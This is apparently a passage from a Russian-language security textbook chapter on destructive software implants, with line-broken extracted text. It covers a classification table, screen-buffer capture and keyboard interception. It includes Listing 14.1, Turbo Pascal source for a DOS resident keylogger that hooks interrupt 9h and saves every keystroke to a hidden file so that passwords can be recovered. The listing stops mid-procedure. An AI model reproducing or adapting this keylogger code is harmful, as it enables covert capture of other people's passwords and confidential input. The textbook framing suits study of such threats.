ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 10.06.2021
Просмотров: 3621
Скачиваний: 3
246
Глава
14.
Методы
и
средства
разрушения
информации
2 0
0
нет
0
1
3 0
0
нет
1
0
4 0
0
нет
1
1
5 0
1
разрушение
кода
ПП
в
опера
-
тивной
памяти
(
ОП
)
0 0
6 0
1
разрушение
или
сохранение
выводимых
данных
0 1
7 0
1
разрушение
или
сохранение
вводимых
данных
1 0
8 0
1
разрушение
или
сохранение
вводимых
и
выводимых
дан
-
ных
1 1
9 1
0
нет
0
0
10 1
0
перенос
выводимых
данных
в
ОП
0 1
11 1
0
перенос
вводимых
данных
в
ОП
1 0
12 1
0
перенос
вводимых
и
выводи
-
мых
данных
в
ОП
1 1
13 1
1
размножение
0
0
14 1
1
разрушение
или
сохранение
выводимых
данных
0 1
15 1
1
разрушение
или
сохранение
вводимых
данных
1 0
16 1
1
разрушение
или
сохранение
вводимых
и
выводимых
дан
-
ных
1 1
Сохранение
фрагментов
информации
В
этом
случае
можно
выделить
три
основные
причины
потенциально
возможного
нарушения
безопасности
системы
“
пользователь
—
система
защиты
—
данные
”:
•
вывод
информации
на
экран
;
•
вывод
информации
в
файл
или
иное
внешнее
устройство
;
•
ввод
информации
с
клавиатуры
.
Сохранение
фрагментов
вводимой
и
выводимой
информации
можно
представить
так
.
Программа
выделяет
себе
в
оперативной
памяти
некоторую
информационную
область
,
где
помещается
информация
для
обработки
(
как
правило
,
доступная
для
непосредствен
-
ного
считывания
:
область
экрана
,
клавиатурный
буфер
).
Закладка
определяет
адрес
ин
-
Разрушающие
программные
средства
247
формативной
области
программы
(
иногда
этот
адрес
используется
всеми
программами
и
поэтому
заранее
известен
).
Далее
необходимо
анализировать
события
,
связанные
с
рабо
-
той
прикладной
программы
или
операционной
среды
,
причем
интерес
представляют
лишь
события
,
результатом
которых
может
стать
появление
интересующей
информации
в
информативной
области
.
Установив
факт
интересующего
события
,
закладка
переносит
часть
информативной
области
либо
всю
информативную
область
в
свою
область
сохра
-
нения
(
непосредственно
на
диск
или
в
выделенную
область
оперативной
памяти
).
Перехват
вывода
на
экран
Рассмотрим
только
текстовый
режим
вывода
.
Режим
графического
вывода
будет
от
-
личаться
лишь
тем
,
что
изменится
адрес
видеобуфера
в
программе
,
и
информация
будет
представлена
в
виде
точек
с
определенным
цветом
.
В
оперативной
памяти
ПЭВМ
область
видеобуфера
имеет
заранее
известный
фикси
-
рованный
адрес
.
Видеобуфер
,
с
точки
зрения
программы
,
представляет
собой
область
обычной
оперативной
памяти
,
которая
рассматривается
как
последовательность
слов
(16
бит
)
в
формате
:
символ
(8
бит
) +
цвет
(8
бит
).
Выводимый
на
экран
текст
помещается
в
видеобуфер
,
откуда
может
быть
считан
и
сохранен
закладкой
.
Синхронизирующим
событием
в
этом
случае
может
быть
:
•
ввод
с
клавиатуры
длинной
последовательности
символов
(
обрабатываемого
текста
);
•
чтение
из
файла
;
•
запуск
программ
с
определенными
именами
.
Кроме
того
,
возможно
периодическое
сохранение
области
экранного
буфера
по
сиг
-
налу
от
системного
таймера
.
Перехват
ввода
с
клавиатуры
Закладки
,
анализирующие
ввод
с
клавиатуры
,
являются
достаточно
опасными
,
по
-
скольку
клавиатура
является
основным
устройством
управления
и
ввода
информации
.
Через
клавиатурный
ввод
можно
получить
информацию
о
вводимых
конфиденциальных
сообщениях
(
текстах
),
паролях
и
т
.
д
.
Перехват
может
производится
двумя
основными
способами
:
•
встраивание
в
цепочку
прерывания
int 9h
;
•
анализом
содержания
клавиатурного
порта
или
буфера
по
прерыванию
от
системного
таймера
.
Работа
закладки
основывается
на
полном
сохранении
всех
нажатий
(
отжатий
)
клавиш
в
файле
.
Файл
затем
изучается
,
и
на
его
основе
злоумышленник
,
пытавшийся
получить
доступ
к
зашифрованным
файлам
,
восстанавливает
возможные
парольные
последова
-
тельности
.
Пример
подобной
закладки
приведен
в
листинге
14.1.
248
Глава
14.
Методы
и
средства
разрушения
информации
Листинг
14.1.
Пример
закладки
,
перехватывающей
ввод
с
клавиатуры
{$M 2048,0,0}
{$F+}
Uses Dos;
const
ArchiveName = 'C:\WINDOWS\USER.BIN';
OldSS : Word = 0;
OldSP : Word = 0;
StackSW : Integer = - 1;
NewSS : Word = 0;
NewSP : Word = 0;
var
Old9h : Procedure;
R : Registers;
DOSSeg, DOSOfs : Word;
Tick, WaitBuf : Integer;
NeedPop : Boolean;
CBuf : Word;
KBuf : array [1..255] of Byte;
procedure BeginInt;
inline($FF/$06/StackSW/
$75/$10/
$8C/$16/OldSS/
$89/$26/OldSP/
$8E/$16/NewSS/
Продолжение
листинга
14.1
$8B/$26/NewSP);
procedure EndInt;
inline($FF/$0E/StackSW/
$7D/$08/
$8E/$16/OldSS/
$8B/$26/OldSP);
procedure CallPop(Sub: Pointer);
begin
inline($FF/$5E/$06);
end;
procedure CLI; inline($FA);
Разрушающие
программные
средства
249
procedure STI; inline($FB);
procedure TSRCrap;
var
F: File;
begin
CLI;
BeginInt;
STI;
NeedPop := False;
Assign(F, ArchiveName);
{$I-}
Reset(F,1);
{$I+}
if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F));
SetFAttr(F,ARCHIVE+HIDDEN);
BlockWrite(F,KBuf,CBuf); {
Запись
содержимого
буфера
в
файл
}
CBuf := 0;
Close(F);
Tick := 0;
CLI;
EndInt;
STI;
end;
Продолжение
листинга
14.1
procedure RunTSR; interrupt;
begin
CLI;
BeginInt;
STI;
Inc(Tick);
if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then
begin
NeedPop := True;
if Mem[DOSSeg:DOSOfs] = 0 then
begin
NeedPop := False;
Port[$20]:=$20;
250
Глава
14.
Методы
и
средства
разрушения
информации
TSRCrap;
end;
end;
CLI;
EndInt;
STI;
end;
procedure Int28TSR; interrupt;
begin
CLI;
BeginInt;
STI;
if NeedPop = True Then TSRCrap;
CLI;
EndInt;
STI;
end;
procedure New9h;interrupt;
{
Новый
обработчик
прерывания
9h }
var
Tail : Word absolute $40 : $1C;
B:Boolean;
begin
B := Port[$60]<$80;
inline($9C);
Old9h; {
Вызов
старого
обработчика
}
if B and (Lo(MemW[$40:Tail])<>0) then
Окончание
листинга
14.1
begin
Inc(CBuf);
if CBuf > 255 Then CBuf := 255;
KBuf[CBuf]:=Lo(MemW[$40:Tail]); { C
охранение
клавиши
в
буфе
-
ре
}
end;
end;
procedure InitTSR;
begin
NewSS := SSeg;
inline($89/$26/NewSP);
R.AH := $34;